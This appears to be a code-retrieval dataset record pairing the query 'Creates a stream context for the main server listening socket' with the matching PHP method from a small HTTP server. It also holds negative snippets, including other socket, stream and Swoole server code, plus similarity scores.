$settings['forum_name'] != muut()->getForumName() )\n\t\t\t\t\t|| ( isset( $settings['enable_proxy_rewrites'] ) && $settings['enable_proxy_rewrites'] != muut()->getOption( 'enable_proxy_rewrites' ) )\n\t\t\t\t\t|| ( isset( $settings['use_custom_s3_bucket'] ) && $settings['use_custom_s3_bucket'] != muut()->getOption( 'use_custom_s3_bucket' ) )\n\t\t\t\t\t|| ( isset( $settings['custom_s3_bucket_name'] ) && $settings['custom_s3_bucket_name'] != muut()->getOption( 'custom_s3_bucket_name' ) )\n\t\t\t\t\t|| ( isset( $settings['use_webhooks'] ) && $settings['use_webhooks'] != muut()->getOption( 'use_webhooks' ) )\n\t\t\t\t) {\n\t\t\t\t\tflush_rewrite_rules( true );\n\t\t\t\t\t$home_path = get_home_path();\n\t\t\t\t\t$htaccess_file = $home_path.'.htaccess';\n\n\t\t\t\t\tif ( ( !file_exists( $htaccess_file ) && !is_writable( $home_path ) ) || !is_writable( $htaccess_file ) ) {\n\t\t\t\t\t\tif ( get_option( 'permalink_structure', '') != '' ) {\n\t\t\t\t\t\t\t$error = array( 'field' => '', 'new_value' => '', 'name' => 'htaccess_permissions', 'message' => sprintf( __( 'It looks like the %sMuut Plugin%s doesn\\'t have permission to edit your .htaccess file. If you want to have content indexable under your website\\'s domain, you should head over to the bottom of your site\\'s %sPermalinks%s settings and copy the new code there to your .htaccess file.', 'muut' ), '<b>', '</b>', '<a href=\"' . admin_url( 'options-permalink.php' ) . '\">', '</a>' ) );\n\t\t\t\t\t\t\t$this->errorQueue[$error['name']] = $error;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// If the Secret Key setting does not get submitted (i.e. is disabled), make sure to erase its value.\n\t\t\t\t$settings['subscription_secret_key'] = isset( $settings['subscription_secret_key'] ) ? $settings['subscription_secret_key'] : '';\n\t\t\t} else {\n\t\t\t\t$settings = apply_filters( 'muut_settings_initial_save', $settings );\n\t\t\t}\n\n\t\t\tforeach ( $settings as $name => &$value ) {\n\t\t\t\t$value = apply_filters( 'muut_validate_setting_' . $name, $value );\n\t\t\t\t$value = apply_filters( 'muut_validate_setting', $value, $name );\n\t\t\t}\n\n\t\t\treturn apply_filters( 'muut_settings_validated', $settings );\n\t\t}", "private function getSettings() {\n\t\t$code = (version_compare(VERSION, '3.0', '<') ? '' : $this->type . '_') . $this->name;\n\t\t\n\t\t$settings = array();\n\t\t$settings_query = $this->db->query(\"SELECT * FROM \" . DB_PREFIX . \"setting WHERE `code` = '\" . $this->db->escape($code) . \"' ORDER BY `key` ASC\");\n\t\t\n\t\tforeach ($settings_query->rows as $setting) {\n\t\t\t$value = $setting['value'];\n\t\t\tif ($setting['serialized']) {\n\t\t\t\t$value = (version_compare(VERSION, '2.1', '<')) ? unserialize($setting['value']) : json_decode($setting['value'], true);\n\t\t\t}\n\t\t\t$split_key = preg_split('/_(\\d+)_?/', str_replace($code . '_', '', $setting['key']), -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);\n\t\t\t\n\t\t\t\tif (count($split_key) == 1)\t$settings[$split_key[0]] = $value;\n\t\t\telseif (count($split_key) == 2)\t$settings[$split_key[0]][$split_key[1]] = $value;\n\t\t\telseif (count($split_key) == 3)\t$settings[$split_key[0]][$split_key[1]][$split_key[2]] = $value;\n\t\t\telseif (count($split_key) == 4)\t$settings[$split_key[0]][$split_key[1]][$split_key[2]][$split_key[3]] = $value;\n\t\t\telse \t\t\t\t\t\t\t$settings[$split_key[0]][$split_key[1]][$split_key[2]][$split_key[3]][$split_key[4]] = $value;\n\t\t}\n\t\t\n\t\treturn $settings;\n\t}", "private function _saveConfVars()\n {\n $config = $this->getConfig();\n\n $this->resetContentCache();\n\n $this->_sModuleId = $this->getEditObjectId();\n $shopId = $config->getShopId();\n\n $moduleId = $this->_getModuleForConfigVars();\n\n foreach ($this->_aConfParams as $type => $param) {\n $confVars = $config->getRequestParameter($param);\n\n if (is_array($confVars)) {\n foreach ($confVars as $name => $value) {\n if (preg_match('/^[A-Z0-9]{32}$/', $value) || empty($value)) {\n $dbType = $this->_getDbConfigTypeName($type);\n $config->saveShopConfVar(\n $dbType,\n $name,\n $this->_serializeConfVar($dbType, $name, $value),\n $shopId,\n $moduleId\n );\n } else {\n return false;\n }\n }\n }\n }\n\n return true;\n }" ]
[ "0.6371229", "0.62592137", "0.61571294", "0.61273247", "0.6098169", "0.6094855", "0.6072405", "0.605578", "0.60327446", "0.60324496", "0.60324496", "0.6030763", "0.6005863", "0.59881043", "0.5957281", "0.59542006", "0.5940675", "0.5848523", "0.5835763", "0.5831158", "0.57802844", "0.57437485", "0.5741585", "0.5740551", "0.5740227", "0.5728929", "0.5667232", "0.56454724", "0.56369895", "0.56367874", "0.5635788", "0.5633255", "0.56186086", "0.5590736", "0.5577453", "0.5569891", "0.55645263", "0.556181", "0.55497915", "0.553708", "0.55309945", "0.55229986", "0.5521236", "0.54935354", "0.5474184", "0.5456917", "0.54544616", "0.5454455", "0.5445067", "0.5436025", "0.5420477", "0.5375955", "0.5373157", "0.5364877", "0.53603876", "0.53584504", "0.533401", "0.5332794", "0.5331565", "0.53266424", "0.5326048", "0.5325897", "0.53067005", "0.53008175", "0.5295906", "0.52856964", "0.52792925", "0.5277829", "0.52654976", "0.52572554", "0.5256307", "0.5242094", "0.52265924", "0.5221532", "0.5219731", "0.5219545", "0.52143484", "0.5212615", "0.5206702", "0.5205462", "0.5195894", "0.51925606", "0.5190566", "0.51905227", "0.5182137", "0.51790595", "0.5174389", "0.517109", "0.51698905", "0.51676303", "0.5165175", "0.5164792", "0.51630783", "0.51608324", "0.5154279", "0.5153504", "0.51487213", "0.5146372", "0.51446736", "0.51370484", "0.51318467" ]
0.0
-1
Creates a stream context for the main server listening socket based on the configured settings.
protected static function getContext() { $opts = array( 'socket' => array( 'backlog' => MHTTPD::$config['Server']['queue_backlog'], ), ); if (MHTTPD::$config['SSL']['enabled']) { // Find SSL certificate file $cert = MHTTPD::$config['SSL']['cert_file']; if ( !($cert_file = realpath($cert)) && !($cert_file = realpath(MHTTPD::getInipath().$cert)) ) { trigger_error("Cannot find SSL certificate file: {$cert}", E_USER_ERROR); } // Add SSL options $opts['ssl'] = array( 'local_cert' => $cert_file, 'passphrase' => MHTTPD::$config['SSL']['passphrase'], 'allow_self_signed' => true, 'verify_peer' => false, ); } return stream_context_create($opts); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function getStreamContext()\n {\n $ctx = stream_context_create();\n\n stream_context_set_option($ctx, \"ssl\", \"local_cert\", $this->pem);\n if (strlen($this->passphrase)) {\n stream_context_set_option($ctx, \"ssl\", \"passphrase\", $this->passphrase);\n }\n\n return $ctx;\n }", "protected static function createListener($context)\n\t{\n\t\t$type = MHTTPD::$config['SSL']['enabled'] ? 'ssl' : 'tcp';\n\t\t$addr = MHTTPD::$config['Server']['address'];\n\t\t$port = MHTTPD::$config['Server']['port'];\n\n\t\tif (!(MHTTPD::$listener = stream_socket_server(\"{$type}://{$addr}:{$port}\", $errno, $errstr, \n\t\t\tSTREAM_SERVER_BIND | STREAM_SERVER_LISTEN, $context))\n\t\t\t) {\n\t\t\ttrigger_error(\"Could not create \".strtoupper($type).\" server socket\", E_USER_ERROR);\n\t\t}\n\n\t\tif (MHTTPD::$debug) {\n\t\t\tcecho(\"\\n\".chrule().\"\\n\");\n\t\t\tcecho(\"Created \".strtoupper($type).\" listener: \".stream_socket_get_name(MHTTPD::$listener, false).\"\\n\\n\");\n\t\t} else {\n\t\t\t$t = ($type == 'ssl') ? ' (SSL)' : '';\n\t\t\tcecho(\"Started MiniHTTPD server on {$addr}, port {$port}{$t} ...\\n\\n\");\n\t\t}\n\t}", "protected function _createContext() {\n\t\t$options = [];\n\n\t\tif ($this->_userAgent) {\n\t\t\t$options['http']['user_agent'] = $this->_userAgent;\n\t\t}\n\n\t\treturn stream_context_create($options);\n\t}", "protected function createStream()\n {\n $host = sprintf('udp://%s:%d', $this->config['host'], $this->config['port']);\n\n // stream the data using UDP and suppress any errors\n $this->stream = @stream_socket_client($host);\n }", "public function stream_context_create($options = null, $params = null)\n {\n return stream_context_create($options, $params);\n }", "public function streamContextCreate(array $options)\n {\n $this->stream = stream_context_create($options);\n }", "public function injectStreamContext($streamContext);", "public function stream_context_create(array $parameters);", "public function __construct()\n {\n Socket::$isServer = true;\n self::$server = new sockbase();\n self::$server->onmsg(__NAMESPACE__ . '\\SqlPool::inmsg');\n self::$server->dismsg(__NAMESPACE__ . '\\SqlPool::dis');\n $poolconf = ng169\\lib\\Option::get('pool');\n self::$pwd = $poolconf['pwd'];\n\n self::$server->start($poolconf['ip'], $poolconf['port']);\n\n // self::$server->start(\"127.0.0.1\", \"4563\");\n }", "public function setSwooleMode(Request $swoole_raw_request, Response $swoole_raw_response): IoContextInterface;", "public function createSocket()\n {\n //Create TCP/IP sream socket\n $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n //reuseable port\n socket_set_option($this->socket, SOL_SOCKET, SO_REUSEADDR, 1);\n\n //bind socket to specified host\n socket_bind($this->socket, 0, $this->port);\n\n //listen to port\n socket_listen($this->socket);\n\n //create & add listning socket to the list\n $this->clients[0] = [\n $this->socket\n ];\n }", "function stream_context_set_params($stream_or_context, $params)\n{\n}", "public function __construct()\n\t{\n\t\t$configuration = new Config();\n\t\t// Configure socket server\n\t\tparent::__construct($configuration->socket_host, $configuration->socket_controller_port);\n\n\t\t// Run the server\n\t\t$this->run();\n\t}", "public function prepareContext()\n {\n $headers = [\n 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Encoding: gzip, deflate',\n 'Accept-Language: ru-RU,ru;q=0.9',\n 'Accept-Charset: utf-8',\n 'Connection: keep-alive',\n 'Host: www.kinopoisk.ru',\n 'user_country=ru',\n 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0'\n ];\n\n $options = [\n 'http' => [\n 'method' => 'GET',\n //'protocol_version' => 1.1,\n //'proxy' => 'http://proxy:8080',\n //'timeout' => 4.0,\n 'header' => implode(\"\\r\\n\", $headers),\n //'request_fulluri' => true\n ]\n ];\n\n $context = stream_context_create($options);\n\n return $context;\n }", "public function initListeningEvent()\n {\n if(!$this->server instanceof \\Swoole\\WebSocket\\Server){\n throw new \\Exception('swoole的websocket服务还未开启');\n }\n try{\n $processor = new LoginCommonCallServiceProcessor(new LoginCommonService($this->server));\n $tFactory = new TTransportFactory();\n $pFactory = new TBinaryProtocolFactory();\n $transport = new ServerTransport($this->server);\n $server = new \\src\\Thrift\\Server\\Server($processor, $transport, $tFactory, $tFactory, $pFactory, $pFactory);\n $server->serve();\n }catch (\\TException $e){\n throw new \\Exception('thrift启动失败');\n }\n }", "protected function getConfiguredSocket() {}", "public static function createSocket($uri, array $context = [])\n {\n if ((string)(int)$uri === (string)$uri) {\n $uri = '127.0.0.1:' . $uri;\n }\n\n // assume default scheme if none has been given\n if (\\strpos($uri, '://') === false) {\n $uri = 'tcp://' . $uri;\n }\n\n // parse_url() does not accept null ports (random port assignment) => manually remove\n if (\\substr($uri, -2) === ':0') {\n $parts = \\parse_url(\\substr($uri, 0, -2));\n if ($parts) {\n $parts['port'] = 0;\n }\n } else {\n $parts = \\parse_url($uri);\n }\n\n // ensure URI contains TCP scheme, host and port\n if (!$parts || !isset($parts['scheme'], $parts['host'], $parts['port']) || $parts['scheme'] !== 'tcp') {\n throw new \\InvalidArgumentException('Invalid URI \"' . $uri . '\" given');\n }\n\n if (false === \\filter_var(\\trim($parts['host'], '[]'), \\FILTER_VALIDATE_IP)) {\n throw new \\InvalidArgumentException('Given URI \"' . $uri . '\" does not contain a valid host IP');\n }\n\n $socket = @\\stream_socket_server(\n $uri,\n $errno,\n $errstr,\n \\STREAM_SERVER_BIND | \\STREAM_SERVER_LISTEN,\n \\stream_context_create(['socket' => $context + ['backlog' => 511]])\n );\n\n if (false === $socket) {\n throw new \\RuntimeException('Failed to listen on \"' . $uri . '\": ' . $errstr, $errno);\n }\n\n return $socket;\n }", "protected function createStream()\n {\n if (empty($this->host)) {\n throw new \\Kafka\\Exception('Cannot open null host.');\n }\n if ($this->port <= 0) {\n throw new \\Kafka\\Exception('Cannot open without port.');\n }\n\n $remoteSocket = sprintf('tcp://%s:%s', $this->host, $this->port);\n\n $context = stream_context_create([]);\n if ($this->config != null && $this->config->getSslEnable()) { // ssl connection\n $remoteSocket = sprintf('ssl://%s:%s', $this->host, $this->port);\n $localCert = $this->config->getSslLocalCert();\n $localKey = $this->config->getSslLocalPk();\n $verifyPeer = $this->config->getSslVerifyPeer();\n $passphrase = $this->config->getSslPassphrase();\n $cafile = $this->config->getSslCafile();\n $peerName = $this->config->getSslPeerName();\n\n $context = stream_context_create(['ssl' => [\n 'local_cert' => $localCert,\n 'local_pk' => $localKey,\n 'verify_peer' => $verifyPeer,\n 'passphrase' => $passphrase,\n 'cafile' => $cafile,\n 'peer_name' => $peerName\n ]]);\n }\n \n $this->stream = $this->createSocket($remoteSocket, $context, $errno, $errstr);\n\n if ($this->stream == false) {\n $error = 'Could not connect to '\n . $this->host . ':' . $this->port\n . ' (' . $errstr . ' [' . $errno . '])';\n throw new \\Kafka\\Exception($error);\n }\n // SASL auth\n if ($this->saslMechanismProvider !== null) {\n $this->saslMechanismProvider->authenticate($this);\n }\n }", "public function open_socket(){\n //Create the server socket\n if($this->socket === null){\n \n //Create socket\n if (($this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {\n echo \"Socket_create() failed: reason: \" . socket_strerror(socket_last_error()) . \"\\n\";\n }\n \n if(socket_set_option($this->socket, SOL_SOCKET, SO_KEEPALIVE, 1) === FALSE){\n echo \"Socket_set_option() failed: reason: \" . socket_strerror(socket_last_error($this->socket)) . \"\\n\";\n }\n \n if(socket_set_option($this->socket, SOL_SOCKET, SO_REUSEADDR, 1) === FALSE){\n echo \"Socket_set_option() failed: reason: \" . socket_strerror(socket_last_error($this->socket)) . \"\\n\";\n }\n\n if (socket_bind($this->socket, $this->host, $this->port) === false) {\n echo \"Socket_bind() failed: reason: \" . socket_strerror(socket_last_error($this->socket)) . \"\\n\";\n }\n\n if (socket_listen($this->socket, 5) === false) {\n echo \"Socket_listen() failed: reason: \" . socket_strerror(socket_last_error($this->socket)) . \"\\n\";\n }\n \n }\n return $this->socket;\n }", "public function createServer(\n IContext $ctx\n ): IServer;", "private function getSocketStream()\n {\n if ($this->socketStream !== null && is_resource($this->socketStream)) return $this->socketStream;\n\n if ($this->overlapContext === null) {\n $context = stream_context_create($this->contextArgs);\n } else {\n $context = $this->overlapContext;\n }\n\n $socket = stream_socket_client($this->remoteSocket, $this->socketErrorCode, $this->socketError, $this->timeoutSeconds, $this->socketFlags, $context);\n if ($socket === false) {\n throw new SocketStreamException('Unable to create event socket stream: ' . $this->socketError . ' (' . $this->socketErrorCode . ').');\n }\n\n stream_set_blocking($socket, true);\n stream_set_timeout($socket, $this->timeoutSeconds, $this->timeoutMicroseconds);\n\n $this->socketStream = $socket;\n\n return $socket;\n }", "public function listen (array $options = [])\r\n\t\t{\r\n\t\t\t\tif ($this -> isListening ())\r\n\t\t\t\t{\r\n\t\t\t\t\t\treturn true;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$flags = STREAM_SERVER_BIND | STREAM_SERVER_LISTEN;\r\n\t\t\t\t$context = stream_context_create ($options);\r\n\t\t\t\t$scheme = (string) $this -> getTransport () . '://' . $this -> getAddress () . ':' . $this -> getPort ();\r\n\t\t\t\t$resourcePointer = stream_socket_server ($scheme, $errno, $errstr, $flags, $context);\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Determine on which port we bound.\r\n\t\t\t\t*/\r\n\t\t\t\tif ($this -> getPort () == 0)\r\n\t\t\t\t{\r\n\t\t\t\t\t\t$localAddress = stream_socket_get_name ($resourcePointer, false);\r\n\t\t\t\t\t\t$port = substr ($localAddress, strrpos ($localAddress, ':') + 1);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$this -> setPort ($port);\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Check if we succeeded to make the resource\r\n\t\t\t\t*/\r\n\t\t\t\tif (!is_resource ($resourcePointer) || $errno || $errstr )\r\n\t\t\t\t{\r\n\t\t\t\t\t\tthrow new SocketException (sprintf ('Failed to create socket resource, error: %s', $errstr));\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Callback for when a new connection has been received.\r\n\t\t\t\t*/\r\n\t\t\t\t$acceptCallback = function (PollerInterface $pollerInterface, $resourcePointer)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tif (false === $newConnection = stream_socket_accept ($resourcePointer))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$event = new AcceptingFailedEvent ($this);\r\n\t\t\t\t\t\t\t\t$this -> dispatch (SocketEvents :: SOCK_EXCEPTION, $event);\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\treturn;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$socket = $this -> handleNewConnection ($newConnection);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tif ($this -> getTransport () == self :: TRANSPORT_SSL)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$socket -> setTransport (ClientStream :: TRANSPORT_SSL);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$event = new AcceptingSucceededEvent ($this, $socket);\r\n\t\t\t\t\t\t$this -> dispatch (SocketEvents :: SOCK_ACCEPTED_CONN, $event);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t};\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Insert callback into poller\r\n\t\t\t\t*/\r\n\t\t\t\t$this -> pollerInstance -> addReadStream ($resourcePointer, $acceptCallback);\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Finishing up..\r\n\t\t\t\t*/\r\n\t\t\t\t$this -> currentState = self :: STATE_LISTENING;\r\n\t\t\t\t$this -> resourcePointer = $resourcePointer;\r\n\t\t\t\t$this -> resourcePointerId = (int) $resourcePointer;\r\n\t\t\t\t\r\n\t\t\t\treturn true;\r\n\t\t}", "public function initTcpListenServer()\n {\n $listenConfig = config('websocketlogin.listern');\n $this->listern = $this->server->addListener($listenConfig['uri'], $listenConfig['port'], $listenConfig['type']);\n return $this->listern;\n }", "public function setFastcgiMode(): IoContextInterface;", "protected function configureSwooleServer()\n {\n $config = $this->container['config']->get('swoole.server');\n\n $this->server->set($config);\n }", "private function setupStreamNotify() {\n\t\t$this->notifier = new SocketNotifier(\n\t\t\t$this->stream,\n\t\t\tSocketNotifier::ACTIVITY_READ | SocketNotifier::ACTIVITY_WRITE | SocketNotifier::ACTIVITY_ERROR,\n\t\t\tarray($this, 'onStreamActivity')\n\t\t);\n\t\t$this->socketManager->addSocketNotifier($this->notifier);\n\t}", "abstract protected function finalize_stream_context_settings(): void;", "public function setSocketContext($context)\n {\n $this->overlapContext = $context;\n }", "public function __construct($sockType=SWOOLE_SOCK_TCP)\n {\n $this->client =new \\Swoole\\Async\\Client($sockType);\n }", "public function __construct(IServer $stream) {\n $this->_stream = $stream;\n }", "protected static function main()\n\t{\n\t\t// Create a TCP/SSL server socket context\n\t\t$context = MHTTPD::getContext();\n\t\t\n\t\t// Start the listener\n\t\tMHTTPD::createListener($context);\n\n\t\t// Initialize some handy vars\n\t\t$timeout = ini_get('default_socket_timeout');\n\t\t$maxClients = MHTTPD::$config['Server']['max_clients'];\n\t\t$maxHeaderBlockSize = MHTTPD_Message::getMaxHeaderBlockSize();\n\t\tif (MHTTPD::$debug) {\n\t\t\t$listener_name = stream_socket_get_name(MHTTPD::$listener, false);\n\t\t}\n\t\t\n\t\t// Start the browser\n\t\tMHTTPD::launchBrowser();\n\t\t\n\t\t// The main loop\n\t\twhile (MHTTPD::$running) \t{\t\n\t\t\n\t\t\t// Build a list of active streams to monitor\n\t\t\t$read = array('listener' => MHTTPD::$listener);\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t\t\t\t\t\t\n\t\t\t\t// Add any client sockets\n\t\t\t\tif ($csock = $client->getSocket()) {\n\t\t\t\t\t$read[\"client_$i\"] = $csock;\n\t\t\t\t\t\n\t\t\t\t\t// Add any client FCGI sockets\n\t\t\t\t\tif ($cfsock = $client->getFCGISocket()) {\n\t\t\t\t\t\t$read[\"clfcgi_$i\"] = $cfsock;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Add any client file streams\n\t\t\t\t\tif ($client->isStreaming()) {\n\t\t\t\t\t\t$read[\"clstrm_$i\"] = $client->getStream();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Add any aborted FCGI requests\n\t\t\tforeach (MHTTPD::$aborted as $aID=>$ab) {\n\t\t\t\t$read['aborted_'.$aID.'_'.$ab['client'].'_'.$ab['pid']] = $ab['socket'];\n\t\t\t}\n\n\t\t\tif (MHTTPD::$debug) {\n\t\t\t\tcecho(\"FCGI scoreboard:\\n\"); cprint_r(MFCGI::getScoreboard(true)); cecho(\"\\n\");\n\t\t\t\tcecho(\"Pre-select:\\n\"); cprint_r($read);\n\t\t\t\tcecho(chrule().\"\\n>>>> Waiting for server activity ($listener_name)\\n\".chrule().\"\\n\\n\");\n\t\t\t}\n\n\t\t\t// Wait for any new activity\n\t\t\tif (!($ready = @stream_select($read, $write=null, $error=null, null))) {\n\t\t\t\ttrigger_error(\"Could not select streams\", E_USER_WARNING);\n\t\t\t}\n\t\t\t\n\t\t\tif (MHTTPD::$debug) {cecho(\"Post-select:\\n\"); cprint_r($read);}\n\t\t\t\t\t\t\n\t\t\t// Check if the listener has a new client connection\n\t\t\tif (in_array(MHTTPD::$listener, $read)) {\n\t\t\t\t\n\t\t\t\t// Search for a free slot to add the new client\n\t\t\t\tfor ($i = 1; $i <= $maxClients; $i++) {\n\t\t\t\t\t\n\t\t\t\t\tif (!isset(MHTTPD::$clients[$i])) {\n\t\t\t\t\t\t\n\t\t\t\t\t\t// This slot is free, so add the new client connection\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"New client ($i): \");}\n\t\t\t\t\t\tif (!($sock = @stream_socket_accept(MHTTPD::$listener, $timeout, $peername))) {\n\t\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"\\nCould not accept client stream\\n\");}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"$peername\\n\");}\n\t\t\t\t\t\t$client = new MHTTPD_Client($i, $sock, $peername);\n\t\t\t\t\t\t$client->debug = MHTTPD::$debug;\n\t\t\t\t\t\tMHTTPD::$clients[$i] = $client;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\t\t} elseif ($i == $maxClients) {\n\t\t\t\t\t\t\n\t\t\t\t\t\t// No free slots, so the request goes to the backlog\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"No free client slots!\\n\");}\n\t\t\t\t\t\ttrigger_error(\"Too many clients\", E_USER_NOTICE);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Return to waiting if only the listener is active\n\t\t\t\tif ($ready == 1) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"No other connections to handle\\n\\n\");}\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Handle any incoming client data on selected sockets\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t \n\t\t\t\tif (MHTTPD::$debug) {cecho(\"Client ($i) ... \");}\n\t\t\t\t$csock = $client->getSocket();\n\n\t\t\t\t// Handle any new client requests\n\t\t\t\tif ($client->isReady() && $csock && in_array($csock, $read)) {\n\t\t\t\t\n\t\t\t\t\t// Start reading the request\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"reading ... \");}\n\t\t\t\t\t$client->setTimeout(10);\n\t\t\t\t\t$input = '';\n\t\t\t\t\t\n\t\t\t\t\t// Get the request header block only\n\t\t\t\t\twhile ($buffer = @fgets($csock, 1024)) {\n\t\t\t\t\t\t$input .= $buffer;\n\t\t\t\t\t\tif ($buffer == '' || substr($input, -4) == \"\\r\\n\\r\\n\" \n\t\t\t\t\t\t\t|| strlen($input) > $maxHeaderBlockSize\n\t\t\t\t\t\t\t) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ($input) {\n\t\t\t\t\t\n\t\t\t\t\t\t// Store the headers and process the request\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"done\\n\");}\n\t\t\t\t\t\t$client->setInput(trim($input));\n\t\t\t\t\t\tif (!$client->processRequest() && !$client->needsAuthorization()) {\n\t\t\t\t\t\t\tMHTTPD::removeClient($client);\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\t\n\t\t\t\t\t\t// No request data, client is disconnecting\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"disconnected\\n\");}\n\t\t\t\t\t\tMHTTPD::removeClient($client);\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Handle any request body data\n\t\t\t\t} elseif ($client->isPosting() && $csock && in_array($csock, $read)) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"reading body \");}\n\t\t\t\t\t$client->readRequestBody();\n\t\t\t\t\n\t\t\t\t// Handle any disconnects or malformed requests\n\t\t\t\t} elseif ($csock && in_array($csock, $read)) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"aborted connection\\n\");}\n\t\t\t\t\tMHTTPD::removeClient($client);\n\t\t\t\t\tcontinue;\n\t\t\t\t\n\t\t\t\t// Handle any inactive client connections\n\t\t\t\t} else {\n\t\t\t\t\tif (MHTTPD::$debug) {\n\t\t\t\t\t\tcecho('inactive (');\n\t\t\t\t\t\tcecho('req:'.$client->hasRequest());\n\t\t\t\t\t\tcecho(' resp:'.$client->hasResponse());\n\t\t\t\t\t\tcecho(' fcgi:'.$client->hasFCGI());\n\t\t\t\t\t\tcecho(\")\\n\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Handle any incoming FCGI responses\n\t\t\t\tif (($clfsock = $client->getFCGISocket()) && in_array($clfsock, $read)) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"Client ($i) ... reading FCGI socket: {$clfsock}\\n\");}\n\t\t\t\t\tif (!$client->readFCGIResponse()) {\n\t\t\t\t\t\tMHTTPD::removeClient($client); // abort any hanging connections\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Handle any outgoing FCGI requests\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t\t\tif ($client->hasFCGI() && !$client->hasSentFCGI()\n\t\t\t\t\t&& (!$client->isPosting() || $client->hasFullRequestBuffer())\n\t\t\t\t\t) {\n\t\t\t\t\tif (MHTTPD::$debug){cecho(\"Client ($i) ... sending FCGI request\\n\");}\n\t\t\t\t\tif (!$client->sendFCGIRequest()) {\n\t\t\t\t\t\tMHTTPD::removeClient($client); // abort any failed connections\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Handle any outgoing client responses\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t\t\tif ($client->hasRequest()) {\n\t\t\t\t\tif (!$client->isPosting() && $client->hasSentFCGI() && !$client->hasResponse()) {\n\t\t\t\t\t\tif (MHTTPD::$debug){cecho(\"Client ($i) ... waiting for FCGI response\\n\");}\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} elseif ($client->needsAuthorization()) {\n\t\t\t\t\t\tif (MHTTPD::$debug){cecho(\"Client ($i) ... waiting for authorization\\n\");}\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} elseif ($client->hasResponse()) {\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"Client ($i) ... handling response\\n\");}\n\t\t\t\t\t\tMHTTPD::handleResponse($client);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t// Handle any aborted FCGI requests\n\t\t\tforeach ($read as $r) {\n\t\t\t\tforeach (MHTTPD::$aborted as $aID=>$ab) {\n\t\t\t\t\tif ($r == $ab['socket']) {\n\t\t\t\t\t\tMFCGI::removeClient($ab['process']);\n\t\t\t\t\t\tMHTTPD::closeSocket($r);\n\t\t\t\t\t\tunset(MHTTPD::$aborted[$aID]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// End of main loop\n\t\t\tif (MHTTPD::$debug) {cecho(\"\\n\");}\n\t\t}\n\t\t\n\t\t// Quit the server cleanly\n\t\tMHTTPD::shutdown();\n\t}", "public function __construct()\n {\n $this->http = new swoole_http_server(self::HOST, self::PORT);\n\n $this->http->set([\n \"enable_static_handler\" => true,\n \"document_root\" => \"/home/alex/study/thinkphp/public/static/\",\n 'worker_num' => 2,\n 'task_worker_num' => 2,\n\n ]);\n\n $this->http->on(\"WorkerStart\", [$this, 'onWorkerStart']);\n $this->http->on(\"request\", [$this, 'onRequest']);\n 